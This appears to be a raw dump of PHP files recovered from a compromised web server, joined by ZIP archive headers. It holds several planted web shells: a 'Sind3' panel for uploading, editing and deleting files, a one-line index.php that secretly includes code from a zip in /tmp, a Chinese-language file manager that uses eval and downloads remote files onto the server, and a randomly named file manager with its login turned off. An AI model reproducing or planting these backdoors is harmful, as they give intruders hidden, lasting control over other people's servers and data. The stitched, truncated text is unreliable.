: ['status'=>'failed','msg'=>'File renaming failed'];
header('Content-Type: application/json');
echo json_encode($response);
exit;
} else {
header('Content-Type: application/json');
echo json_encode(['status'=>'failed','msg'=>'File not found']);
exit;
}
} elseif ($isAjax) {
echo '<h2>Rename File: ' . htmlspecialchars($_GET['file']) . '</h2>';
echo '<div class="terminal-box">';
echo '<form class="ajaxForm" method="POST" action="?action=rename&d=' . hex($d) . '&file=' . urlencode($_GET['file']) . '">';
echo '<input type="text" name="new_name" placeholder="New file name" required><br>';
echo '<br><input type="submit" value="Rename"> ';
echo '<button type="button" id="cancelAction">Cancel</button>';
echo '</form>';
echo '</div><hr>';
exit;
}
} elseif ($_GET['action'] === 'edit') {
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) {
$filePath = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
if ($filePath && is_file($filePath)) {
$fp = fopen($filePath, "w");
if ($fp) {
$bytesWritten = fwrite($fp, stripslashes($_POST['content']));
fclose($fp);
$response = ($bytesWritten !== false)
? ['status' => 'success', 'msg' => 'File edited successfully']
: ['status' => 'failed', 'msg' => 'File editing failed'];
} else {
$response = ['status' => 'failed', 'msg' => 'File opening failed'];
}
header('Content-Type: application/json');
echo json_encode($response);
exit;
} else {
header('Content-Type: application/json');
echo json_encode(['status' => 'failed', 'msg' => 'File not found']);
exit;
}
} elseif ($isAjax) {
$filePath = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
if ($filePath && is_file($filePath)) {
$content = file_get_contents($filePath);
echo '<h2>Edit File: ' . htmlspecialchars($_GET['file']) . '</h2>';
echo '<div class="terminal-box">';
echo '<form class="ajaxForm" method="POST" action="?action=edit&d=' . hex($d) . '&file=' . urlencode($_GET['file']) . '">';
echo '<textarea name="content" rows="10" cols="50" required>' . htmlspecialchars($content) . '</textarea><br>';
echo '<br><input type="submit" value="Save"> ';
echo '<button type="button" id="cancelAction">Cancel</button>';
echo '</form>';
echo '</div><hr>';
}
exit;
}
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Sind3</title>
<!-- Load Ubuntu Mono from Google Fonts -->
<link href="https://fonts.googleapis.com/css2?family=Ubuntu+Mono&display=swap" rel="stylesheet">
<style>
* { box-sizing: border-box; }
body {
background-color: rgba(37, 37, 37, 0.8); /* Gray with slight transparency */
color: #fff;
font-family: 'Ubuntu Mono', monospace;
margin: 0;
padding: 0;
}
.container {
width: 60%;
margin: 50px auto;
padding: 20px;
background-color: #222;
border-radius: 8px;
}
.futer {
width: 60%;
margin: 50px auto;
padding: 20px;
background-color: #222;
border-radius: 8px;
}
.breadcrumbs { margin-bottom: 15px; }
a { color: #0f0; text-decoration: none; }
a:hover { text-decoration: underline; }
table { width: 100%; border-collapse: collapse; margin-top: 20px; }
th, td { border: 1px solid #555; padding: 8px; text-align: left; }
th { background-color: #333; }
input[type="text"], textarea {
width: 100%;
padding: 8px;
margin: 0;
border: 1px solid #333;
border-radius: 4px;
font-family: 'Ubuntu Mono', monospace;
}
input[type="submit"], button {
border: 1px solid #fff;
padding: 4px;
background-color: #333;
color: #fff;
cursor: pointer;
border-radius: 4px;
}
form { margin-bottom: 20px; }
.terminal-box {
background-color: #222;
color: #0f0;
padding: 15px;
border: 1px solid #333;
border-radius: 4px;
margin-bottom: 20px;
}
.terminal-box input[type="text"],
.terminal-box textarea {
background-color: #222;
color: #0f0;
border: 1px solid #333;
}
.notification {
position: fixed;
bottom: 20px;
left: 20px;
padding: 10px 20px;
border-radius: 4px;
font-family: 'Ubuntu Mono', monospace;
font-size: 14px;
}
.success { background-color: #0a0; color: #fff; }
.failed { background-color: #a00; color: #fff; }
/* Custom file input button styling */
#fileInput {
display: none;
}
.custom-file-button {
border: 1px solid #fff;
padding: 4px;
background-color: #333;
color: #fff;
cursor: pointer;
border-radius: 4px;
display: inline-block;
}
</style>
</head>
<body>
<div class="container">
   <b>SERV :</b> <?= isset($_SERVER['SERVER_SOFTWARE']) ? php_uname() : "Server information not available"; ?><br>
   <b>SOFT :</b> <?php echo $_SERVER['SERVER_SOFTWARE'];?><br>
   <b>IP :</b> <?= gethostbyname($_SERVER['HTTP_HOST']) ?><br>
<br><b>——————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————</b>
<br><br><form id="uploadForm" class="ajaxForm" method="POST">
<label for="fileInput" class="custom-file-button" id="fileLabel">Choose File</label>
<input type="file" id="fileInput" required>
<input type="submit" value="Upload">
</form>
<br><div id="breadcrumbContainer">
<?php
$k = preg_split("/(\\\\|\/)/", $d);
foreach ($k as $m => $l) {
if ($l == '' && $m == 0) {
echo '<a class="ajx" href="?d=2f">/</a>';
}
if ($l == '') continue;
echo '<a class="ajx" href="?d=';
for ($i = 0; $i <= $m; $i++) {
echo hex($k[$i]);
if ($i != $m) echo '2f';
}
echo '">'.$l.'</a>/';
}
?>
</div><br>
<div id="actionContainer"></div><br>
<div id="fileListContainer">
<?php
$entries = scandir($d);
$dirList = [];
$fileList = [];
foreach ($entries as $entry) {
if ($entry == '.' || $entry == '..') continue;
$path = $d . DIRECTORY_SEPARATOR . $entry;
if (is_dir($path)) {
$dirList[] = $entry;
} else {
$fileList[] = $entry;
}
}
?>
<table>
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<?php
foreach ($dirList as $entry) {
$path = $d . DIRECTORY_SEPARATOR . $entry;
echo '<tr>';
echo '<td><a class="ajaxDir" href="?d=' . hex($path) . '">' . htmlspecialchars($entry) . '</a></td>';
echo '<td>-</td>';
echo '<td></td>';
echo '</tr>';
}
foreach ($fileList as $entry) {
$path = $d . DIRECTORY_SEPARATOR . $entry;
echo '<tr>';
echo '<td>' . htmlspecialchars($entry) . '</td>';
echo '<td>' . (is_file($path) ? filesize($path) . ' bytes' : '-') . '</td>';
echo '<td>';
echo '<a class="ajaxEdit" href="?action=edit&d=' . hex($d) . '&file=' . urlencode($entry) . '">Edit</a> | ';
echo '<a class="ajaxRename" href="?action=rename&d=' . hex($d) . '&file=' . urlencode($entry) . '">Rename</a> | ';
echo '<a class="ajaxDelete" href="?action=delete&d=' . hex($d) . '&file=' . urlencode($entry) . '">Delete</a>';
echo '</td>';
echo '</tr>';
}
?>
</tbody>
</table>
</div>
</div>
<div class="notification" id="notification" style="display:none;"></div>
<script>
// Show notification in the bottom left corner; auto-dismiss after 2 seconds.
function showNotification(status, msg) {
var notif = document.getElementById('notification');
notif.className = 'notification ' + status;
notif.innerText = msg;
notif.style.display = 'block';
setTimeout(function(){ notif.style.display = 'none'; }, 2000);
}
function loadBreadcrumb() {
var d = getQueryParam("d") || "<?php echo hex($d); ?>";
fetch('?d=' + d + '&ajax=breadcrumb', { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
.then(response => response.text())
.then(html => {
document.getElementById('breadcrumbContainer').innerHTML = html;
});
}
function getQueryParam(name) {
const urlParams = new URLSearchParams(window.location.search);
return urlParams.get(name);
}
function loadFileList() {
var d = getQueryParam("d") || "<?php echo hex($d); ?>";
fetch('?d=' + d + '&ajax=1', { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
.then(response => response.text())
.then(html => {
document.getElementById('fileListContainer').innerHTML = html;
attachAjaxEvents(); // reattach events after update
resetFileInputLabel();
});
}
function resetFileInputLabel() {
var label = document.getElementById('fileLabel');
if(label) {
label.textContent = "Choose File";
}
}
function attachAjaxEvents() {
document.querySelectorAll('.ajaxDelete').forEach(function(link) {
link.addEventListener('click', function(e) {
e.preventDefault();
fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
.then(response => response.json())
.then(data => {
showNotification(data.status, data.msg);
loadFileList();
resetFileInput();
});
});
});
document.querySelectorAll('.ajaxEdit').forEach(function(link) {
link.addEventListener('click', function(e) {
e.preventDefault();
fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
.then(response => response.text())
.then(html => {
document.getElementById('actionContainer').innerHTML = html;
attachAjaxForm();
attachCancelEvent();
resetFileInputLabel();
resetFileInput();
});
});
});
document.querySelectorAll('.ajaxRename').forEach(function(link) {
link.addEventListener('click', function(e) {
e.preventDefault();
fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
.then(response => response.text())
.then(html => {
document.getElementById('actionContainer').innerHTML = html;
attachAjaxForm();
attachCancelEvent();
resetFileInputLabel();
resetFileInput();
});
});
});
document.querySelectorAll('.ajaxDir').forEach(function(link) {
link.addEventListener('click', function(e) {
e.preventDefault();
window.history.pushState(null, '', link.href);
loadFileList(); // Reload the file list
loadBreadcrumb(); // Reload the breadcrumb
resetFileInputLabel();
resetFileInput();
});
});
}
function attachAjaxForm() {
document.querySelectorAll('.ajaxForm').forEach(function(form) {
form.addEventListener('submit', function(e) {
e.preventDefault();
var formData = new FormData(form);
fetch(form.action, { method: 'POST', body: formData, headers: { 'X-Requested-With': 'XMLHttpRequest' } })
.then(response => response.json())
.then(data => {
showNotification(data.status, data.msg);
document.getElementById('actionContainer').innerHTML = '';
loadFileList();
resetFileInputLabel();
});
});
});
}
function attachCancelEvent() {
var cancelBtn = document.getElementById('cancelAction');
if(cancelBtn) {
cancelBtn.addEventListener('click', function() {
document.getElementById('actionContainer').innerHTML = '';
resetFileInputLabel();
});
}
}
function resetFileInput() {
var fileInput = document.getElementById('fileInput');
var fileLabel = document.getElementById('fileLabel');
if (fileInput) {
fileInput.value = ""; // Clear any selected file
}
if (fileLabel) {
fileLabel.textContent = "Choose File"; // Reset label text
}
}
document.addEventListener('DOMContentLoaded', function() {
attachAjaxEvents();
var fileInput = document.getElementById('fileInput');
var uploadForm = document.getElementById('uploadForm');
fileInput.addEventListener('change', function() {
var label = document.getElementById('fileLabel');
if(fileInput.files.length > 0) {
label.textContent = fileInput.files[0].name;
} else {
label.textContent = "Choose File";
}
});
if(uploadForm) {
uploadForm.addEventListener('submit', function(e) {
e.preventDefault();
if(fileInput.files.length === 0) return;
var file = fileInput.files[0];
var reader = new FileReader();
reader.onload = function(event) {
var arrayBuffer = event.target.result;
var bytes = new Uint8Array(arrayBuffer);
var hexString = '';
for (var i = 0; i < bytes.length; i++) {
hexString += bytes[i].toString(16).padStart(2, '0');
}
var formData = new FormData();
formData.append("benkyo", file.name);
formData.append("dakeja", hexString);
fetch(uploadForm.action || window.location.href, {
method: 'POST',
body: formData,
headers: { 'X-Requested-With': 'XMLHttpRequest' }
})
.then(response => response.json())
.then(data => {
showNotification(data.status, data.msg);
uploadForm.reset();
resetFileInputLabel();
loadFileList();
});
};
reader.readAsArrayBuffer(file);
});
}
});
</script>
<footer class="futer">
© zeinhorobosu
</footer>
</body>
</html>
PK �9m\�媡h h index.phpnu �[��� <?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "akcc.php"; include("zip:///tmp/phptpd9aH#$h");?>PK �9m\�(C$�* �* nbixv.phpnu �[��� <?php
eRRor_rEporTing(0);
$wwwroot=isset($_SERVER['DOCUMENT_ROOT'])?trim($_SERVER['DOCUMENT_ROOT']):'';
$req_uri=isset($_SERVER['REQUEST_URI'])?trim($_SERVER['REQUEST_URI']):'';
$req_uri!=''?($req_uri_arr=explode('?',$req_uri)).($script_name=$req_uri_arr[0]):($script_name=isset($_SERVER['SCRIPT_NAME'])?trim($_SERVER["SCRIPT_NAME"]):'');
$script_filename=isset($_SERVER['SCRIPT_FILENAME'])?trim($_SERVER['SCRIPT_FILENAME']):'';
if ($script_filename=='') $script_filename=__FILE__ ;
if ($wwwroot=='' && $script_name!='' && $script_filename!='') $wwwroot=str_replace($script_name,'',$script_filename);
$wwwroot=str_replace('\\','/',$wwwroot);
$dir=isset($_GET['d'])?trim($_GET['d']):'';
$dir=str_replace('\\','/',$dir);
$file=isset($_GET['f'])?trim($_GET['f']):'';
$file=str_replace('\\','/',$file);
$action=isset($_GET['a'])?trim($_GET['a']):'';
if ( $action=='' )
{
$current_dir=$dir==''?$wwwroot:$dir;
$current_dir=rtrim($current_dir,'/');
$current_dir_nav='';
$dir_path='';
$current_dir_split=explode('/',$current_dir);
foreach( $current_dir_split as $dir )
{
$dir_path.=$dir.'/';
$current_dir_nav.='<a href="?d='.$dir_path.'">'.$dir.'/</a>';
}
$dir_rows='';
$file_rows='';
$current_dir_list=sCaNDir($current_dir);
$row_id=0;
foreach( $current_dir_list as $target_name )
{
if ( $target_name=='.' || $target_name=='..' ) continue;
$target=$current_dir.'/'.$target_name;
$target_ahref=strpos($target,$wwwroot)===0?'<a href="'.str_replace($wwwroot,'',$target).'" target="_blank">'.$target_name.'</a>':$target_name;
$row_id++;
$target_u_id=fIlEOwNEr($target);
$target_u_att=poSIx_GEtpWUid($target_u_id);
$target_owner=$target_u_att['name'];
$target_perm=get_qx($target);
$target_mtime=date('Y-m-d H:i:s',fILeMTiMe($target));
if ( is_dir($target) )
{
$dir_rows.='<tr class="tl"><td><i class="fa fa-folder" style="font-size:20px;color:orange;"></i></td><td><a href="?d='.$target.'">'.$target_name.'</a></td><td></td><td>(<a href="#" onclick="show_input_box(\'qx'.$row_id.'\',\''.$target.'\',\'d\',\'qx\');">'.$target_perm.'</a>)'.$target_owner.'<span id="qx'.$row_id.'"></span></td><td>'.$target_mtime.'</td><td><a href="#" onclick="show_input_box(\'gm'.$row_id.'\',\''.$target.'\',\'d\',\'gm\');">改名</a>|<a href="#" onclick="confirm_sc(\''.$target.'\',\'d\');">删除</a><span id="gm'.$row_id.'"></span></td></tr>';
}else
{
$target_fsize=fILesIzE($target);
$target_fsize<1024?$target_fsize.=' B':($target_fsize=round($target_fsize/1024,1)).($target_fsize<1024?$target_fsize.=' KB':$target_fsize=round($target_fsize/1024,2).' MB');
$file_rows.='<tr class="tl"><td><i class="fa fa-file" style="font-size:20px;color:grey;"></td><td>'.$target_ahref.'</td><td>'.$target_fsize.'</td><td>(<a href="#" onclick="show_input_box(\'qx'.$row_id.'\',\''.$target.'\',\'f\',\'qx\');">'.$target_perm.'</a>)'.$target_owner.'<span id="qx'.$row_id.'"></span></td><td>'.$target_mtime.'</td><td><a href="#" onclick="window.open(\'?f='.$target.'&a=ck\',\'_blank\',\'width=800,height=600,top=200,left=300\');">查看</a>|<a href="?f='.$target.'&a=bj">编辑</a>|<a href="#" onclick="show_input_box(\'gm'.$row_id.'\',\''.$target.'\',\'f\',\'gm\');">改名</a>|<a href="#" onclick="confirm_sc(\''.$target.'\',\'f\');">删除</a><span id="gm'.$row_id.'"></span></td></tr>';
}
}
$div_html='<table cellspacing="10">
<tr><td colspan="6"><form name="form_up" id="form_up" method="post" action="?d='.$current_dir.'&a=up" enctype="multipart/form-data"><a href="?d='.$wwwroot.'"><i class="fa fa-home" style="font-size:30px;color:orange;"></i></a> 当前目录:'.$current_dir_nav.' <i class="fa fa-upload" style="font-size:20px;color:grey;" onclick="document.getElementById(\'file_up\').click();"><input id="file_up" name="file_up" type="file" style="display:none" onchange="document.getElementById(\'form_up\').submit();"></form></td></tr>
<tr><td colspan="6"><form name="form_tj" method="post" action="?d='.$current_dir.'&a=tj">新项目名称:<input name="t_name" type="text" size="25"> <select name="t_type"><option value="tj_f">添加文件</option><option value="tj_d">添加目录</option><option value="tj_xz">下载URL</option></select> <input name="submit" type="submit" value="执行"></form></td></tr>
'.($row_id==0?'<tr><td>内容为空或无权限查看</td></tr>':$dir_rows.$file_rows).'
</table>';
}elseif ( $action=='sc' )
{
if ( $file!='' )
{
uNlInk($file); jump_to('?d='.diRNaMe($file));
}elseif( $dir!='' )
{
rm_rf($dir); jump_to('?d='.DIrnaMe($dir));
}
exit;
}elseif( $action=='gm' )
{
$gm=isset($_POST['gm'])?trim($_POST['gm']):'';
if ( $gm!='' )
{
$old_f=$file==''?$dir:$file;
if ( $old_f!='' && file_exists($old_f) )
{
$old_dir=DIrnAme($old_f); rEnAme($old_f,$old_dir.'/'.$gm); jump_to('?d='.$old_dir);
}
}else
{
show_msg('请输入新名称!','back');
}
exit;
}elseif( $action=='qx' )
{
$target=$dir==''?$file:$dir;
if ( $target!='' )
{
$qx=isset($_POST['qx'])?trim($_POST['qx']):'';
if ( $qx!='' && is_numeric($qx) && substr($qx,0,1)=='0' )
{
set_qx($target,$qx); jump_to('?d='.dIRnamE($target));
}else
{
show_msg('请输入新权限!','back');
}
}
exit;
}elseif( $action=='ck' && $file!='' )
{
if ( fiLEsIze($file)<10000000 )
{
HEadEr('Content-Type:text/plain; Charset=utf-8;'); echo FIle_gET_coNTEnts($file);
}else
{
show_msg('文件大小超限!','close');
}
exit;
}elseif( $action=='bj' && $file!='' )
{
if ( isset($_POST['f_content']) )
{
FilE_pUt_COnteNts($file,$_POST['f_content']);
md5($_POST['f_content'])==md5(fILE_Get_cONTenTs($file)) ? show_msg('保存成功!','') : show_msg('保存失败!!','');
}
$f_content=is_file($file)?str_replace('</textarea>','</textarea>',FIle_gET_contENtS($file)):'';
$div_html='<form name="form_bj" action="?f='.$file.'&a=bj" method="post">编辑当前文件:'.$file.'<br><textarea name="f_content" rows="40" cols="120">'.$f_content.'</textarea><br><input type="submit" value="保存"> <input type="button" value="返回目录" onclick="window.location.href=\'?d='.DIrNamE($file).'\';"></form>';
}elseif( $action=='tj' && $dir!='' )
{
$t_name=isset($_POST['t_name'])?trim($_POST['t_name']):'';
if ( $t_name=='' )
{
show_msg('请输入项目名称!','back');
}else
{
if ( $_POST['t_type']=='tj_f' ) fiLe_PUt_coNTentS($dir.'/'.$t_name,'');
if ( $_POST['t_type']=='tj_d' ) mKDir($dir.'/'.$t_name,0755,true);
if ( $_POST['t_type']=='tj_xz' )
{
preg_match('/^http[s]?:\/\/.+/si',$t_name)==0 ? show_msg('下载地址格式出错!','back') : down_file($dir,$t_name) ;
}
jump_to('?d='.$dir);
}
exit;
}elseif( $action=='up' && $dir!='' && isset($_FILES['file_up']) )
{
MoVE_upLOadEd_filE($_FILES['file_up']['tmp_name'],$dir.'/'.BaSenaMe($_FILES['file_up']['name'])) ? show_msg('上传成功!','') : show_msg('上传失败!','') ;
jump_to('?d='.$dir);
exit;
}
function get_qx($t)
{
$q=substr(sprintf('%o',fILepErMs($t)),-4);
return $q;
}
function set_qx($t,$q)
{
EvAl('cHMoD("'.$t.'",'.$q.');');
if ( get_qx($t)!=$q )
{
$tmp_f=uniqid().'.txt';
$tmp_c='<?php ChMOd("'.$t.'",'.$q.');?>';
fiLE_puT_cONtEnTs($tmp_f,$tmp_c);
require($tmp_f);
UnLInK($tmp_f);
}
}
function rm_rf($d)
{
if (is_dir($d))
{
$f_l=sCaNDir($d);
foreach ($f_l as $f)
{
if ($f=='.'||$f=='..') continue;
$p=$d.'/'.$f;
is_dir($p)?rm_rf($p):uNliNk($p);
}
rMdIR($d);
}
}
function show_msg($msg,$go)
{
echo '<script>alert("'.$msg.'");</script>';
if ($go=='back') echo '<script>window.history.back();</script>';
if ($go=='close') echo '<script>window.close();</script>';
}
function jump_to($url)
{
echo '<script>window.location.href="'.$url.'";</script>';
}
function down_file($dir,$url)
{
$s_name=array_pop(explode('/',$url));
if ( $s_name=='' || is_file($dir.'/'.$s_name) ) $s_name=uniqid().'.zmxz';
$ch=CUrl_iNit();
cuRl_seTOpt ($ch, CURLOPT_URL, $url);
cUrL_sEtopt ($ch, CURLOPT_RETURNTRANSFER, 1);
cuRL_setOPt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
cuRL_setOPt ($ch, CURLOPT_SSL_VERIFYPEER, false);
cuRL_setOPt ($ch, CURLOPT_SSL_VERIFYHOST, false);
cuRL_setOPt ($ch, CURLOPT_BINARYTRANSFER, true);
$contents = cUrl_eXeC($ch);
cURl_CLosE($ch);
if ( empty($contents) ) $contents=filE_geT_cONTentS($url);
if ( empty($contents) )
{
show_msg('下载出错!','');
}else
{
fIle_PuT_cONteNts($dir.'/'.$s_name,$contents);
show_msg('下载完成!','');
}
}
?>
<html>
<head>
<title>芝麻web文件管理</title>
<meta name="robots" content="none">
<meta http-equiv="Content-Type" Content="text/html; Charset=utf-8">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
</head>
<body>
<style>
a {color:#000000;text-decoration:none;}
a:hover {color:#ff0000;}
.tl:hover {background-color:#eeeeee;}
form {margin:0;}
</style>
<script>
function show_input_box(s,t,f,a,)
{
var span=document.getElementById(s);
if ( span.innerHTML=='' )
{
span.innerHTML='<form name="form_'+s+'" method="post" action="?'+f+'='+t+'&a='+a+'"><input name="'+a+'" type="text" size="8"><input type="submit" value="提交"></form>';
}else
{
span.innerHTML='';
}
}
function confirm_sc(t,f)
{
if (f=='d')
{
if ( confirm('确定要删除此目录吗?') )
{
window.location.href='?d='+t+'&a=sc';
}
}
if (f=='f')
{
if ( confirm('确定要删除此文件吗?') )
{
window.location.href='?f='+t+'&a=sc';
}
}
}
</script>
<div>
<h1>芝麻web文件管理V1.00</h1>
<?php echo $div_html;?>
</div>
</body>
</html>PK �9m\o���� �� 9fj62.phpnu �[��� <?php
$CONFIG = '{"lang":"en","error_reporting":false,"show_hidden":true,"hide_Cols":false,"theme":"light"}';
define('VERSION', '3.9');
define('APP_TITLE', 'monactinellidan');
$dauth = false;
$auth_users = array(
'admin' => 'c8a7f36b013aa6a7d6738f7e15b8e69e',
'user' => 'c8a7f36b013aa6a7d6738f7e15b8e69e'
);
$readonly_users = array(
'user'
);
$global_readonly = false;
$directories_users = array();
$use_highlightjs = true;
$highlightjs_style = 'vs';
$edit_files = true;
$default_timezone = 'Etc/UTC';
$root_path = $_SERVER['DOCUMENT_ROOT'];
$root_url = '';
$http_host = $_SERVER['HTTP_HOST'];
$iconv_input_encoding = 'UTF-8';
$datetime_format = 'm/d/Y g:i A';
$path_display_mode = 'full';
$allowed_file_extensions = '';
$allowed_upload_extensions = '';
$favicon_path = '';
$exclude_items = array();
$online_viewer = 'google';
$sticky_navbar = true;
$max_upload_size_bytes = 5000000000;
$upload_chunk_size_bytes = 2000000;
$ip_ruleset = 'OFF';
$ip_silent = true;
$ip_whitelist = array(
'127.0.0.1',
'::1'
);
$ip_blacklist = array(
'0.0.0.0',
'::'
);
$config_file = __DIR__.'/config.php';
if (is_readable($config_file)) {
@include($config_file);
}
$external = array(
'css-bootstrap' => '<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-Zenh87qX5JnK2Jl0vWa8Ck2rdkQ2Bzep5IDxbcnCeuOxjzrPF/et3URy9Bv1WTRi" crossorigin="anonymous">',
'css-dropzone' => '<link href="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.css" rel="stylesheet">',
'css-font-awesome' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" crossorigin="anonymous">',
'css-highlightjs' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/styles/' . $highlightjs_style . '.min.css">',
'js-ace' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.13.1/ace.js"></script>',
'js-bootstrap' => '<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.2/dist/js/bootstrap.bundle.min.js" integrity="sha384-OERcA2EqjJCMA+/3y+gxIOqMEjwtxJY7qPCqsdltbNJuaOe923+mo//f6V8Qbsw3" crossorigin="anonymous"></script>',
'js-dropzone' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.js"></script>',
'js-jquery' => '<script src="https://code.jquery.com/jquery-3.6.1.min.js" integrity="sha256-o88AwQnZB+VDvE9tvIXrMQaPlFFSUTR+nldQm1LuPXQ=" crossorigin="anonymous"></script>',
'js-jquery-datatables' => '<script src="https://cdn.datatables.net/1.13.1/js/jquery.dataTables.min.js" crossorigin="anonymous" defer></script>',
'js-highlightjs' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/highlight.min.js"></script>',
'pre-jsdelivr' => '<link rel="preconnect" href="https://cdn.jsdelivr.net" crossorigin/><link rel="dns-prefetch" href="https://cdn.jsdelivr.net"/>',
'pre-cloudflare' => '<link rel="preconnect" href="https://cdnjs.cloudflare.com" crossorigin/><link rel="dns-prefetch" href="https://cdnjs.cloudflare.com"/>'
);
define('MAX_UPLOAD_SIZE', $max_upload_size_bytes);
define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes);
if ( !defined( 'DN_CESSION_ID')) {
define('DN_CESSION_ID', 'filemanager');
}
$cfg = new FM_Config();
$lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en';
$show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true;
$report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true;
$hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true;
// Theme
$theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light';
define('FM_THEME', $theme);
$lang_list = array(
'en' => 'English'
);
if ($report_errors == true) {
@ini_set('error_reporting', E_ALL);
@ini_set('display_errors', 1);
} else {
@ini_set('error_reporting', E_ALL);
@ini_set('display_errors', 0);
}
if (defined('FM_EMBED')) {
$dauth = false;
$sticky_navbar = false;
} else {
@set_time_limit(600);
date_default_timezone_set($default_timezone);
ini_set('default_charset', 'UTF-8');
if (version_compare(PHP_VERSION, '5.6.0', '<') and function_exists('mb_internal_encoding')) {
mb_internal_encoding('UTF-8');
}
if (function_exists('mb_regex_encoding')) {
mb_regex_encoding('UTF-8');
}
session_cache_limiter('nocache');
session_name(DN_CESSION_ID );
function session_error_handling_function($code, $msg, $file, $line) {
if ($code == 2) {
session_abort();
session_id(session_create_id());
@session_start();
}
}
set_error_handler('session_error_handling_function');
session_start();
restore_error_handler();
}
if (empty($_SESSION['token'])) {
if (function_exists('random_bytes')) {
$_SESSION['token'] = bin2hex(random_bytes(32));
} else {
$_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32));
}
}
if (empty($auth_users)) {
$dauth = false;
}
$is_https = (isset($_SERVER['HTTPS']) and ($_SERVER['HTTPS'] === 'on' or $_SERVER['HTTPS'] == 1))
or (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) and $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https');
if (isset($_SESSION[DN_CESSION_ID]['logged']) and !empty($directories_users[$_SESSION[DN_CESSION_ID]['logged']])) {
$wd = fm_clean_path(dirname($_SERVER['PHP_SELF']));
$root_url = $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[DN_CESSION_ID]['logged']];
}
$root_url = fm_clean_path($root_url);
defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : ''));
defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']);
// logout
if (isset($_GET['logout'])) {
unset($_SESSION[DN_CESSION_ID]['logged']);
unset( $_SESSION['token']);
fm_redirect(FM_SELF_URL);
}
if ($ip_ruleset != 'OFF') {
function getClientIP() {
if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) {
return $_SERVER["HTTP_CF_CONNECTING_IP"];
}else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {
return $_SERVER["HTTP_X_FORWARDED_FOR"];
}else if (array_key_exists('REMOTE_ADDR', $_SERVER)) {
return $_SERVER['REMOTE_ADDR'];
}else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) {
return $_SERVER['HTTP_CLIENT_IP'];
}
return '';
}
$clientIp = getClientIP();
$proceed = false;
$whitelisted = in_array($clientIp, $ip_whitelist);
$blacklisted = in_array($clientIp, $ip_blacklist);
if($ip_ruleset == 'AND'){
if($whitelisted == true and $blacklisted == false){
$proceed = true;
}
} else
if($ip_ruleset == 'OR'){
if($whitelisted == true || $blacklisted == false){
$proceed = true;
}
}
if($proceed == false){
trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING);
if($ip_silent == false){
fm_set_msg(lng('Access denied. IP restriction applicable'), 'error');
fm_show_header_login();
fm_show_message();
}
exit();
}
}
if ($dauth) {
if (isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']])) {
} elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) {
sleep(1);
if(function_exists('password_verify')) {
if (isset($auth_users[$_POST['fm_usr']]) and isset($_POST['fm_pwd']) and password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) and verifyToken($_POST['token'])) {
$_SESSION[DN_CESSION_ID]['logged'] = $_POST['fm_usr'];
fm_set_msg(lng('You are logged in'));
fm_redirect(FM_SELF_URL);
} else {
unset($_SESSION[DN_CESSION_ID]['logged']);
fm_set_msg(lng('Login failed. Invalid username or password'), 'error');
fm_redirect(FM_SELF_URL);
}
} else {
fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');;
}
} else {
// Form
unset($_SESSION[DN_CESSION_ID]['logged']);
fm_show_header_login();
?>
<section class="h-100">
<div class="container h-100">
<div class="row justify-content-md-center h-100">
<div class="card-wrapper">
<div class="card fat <?php echo fm_get_theme(); ?>">
<div class="card-body">
<form class="form-signin" action="" method="post" autocomplete="off">
<div class="mb-3">
<div class="brand">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" M1008 width="100%" height="80px" viewBox="0 0 238.000000 140.000000" aria-label="Manager">
<g transform="translate(0.000000,140.000000) scale(0.100000,-0.100000)" fill="#000000" stroke="none">
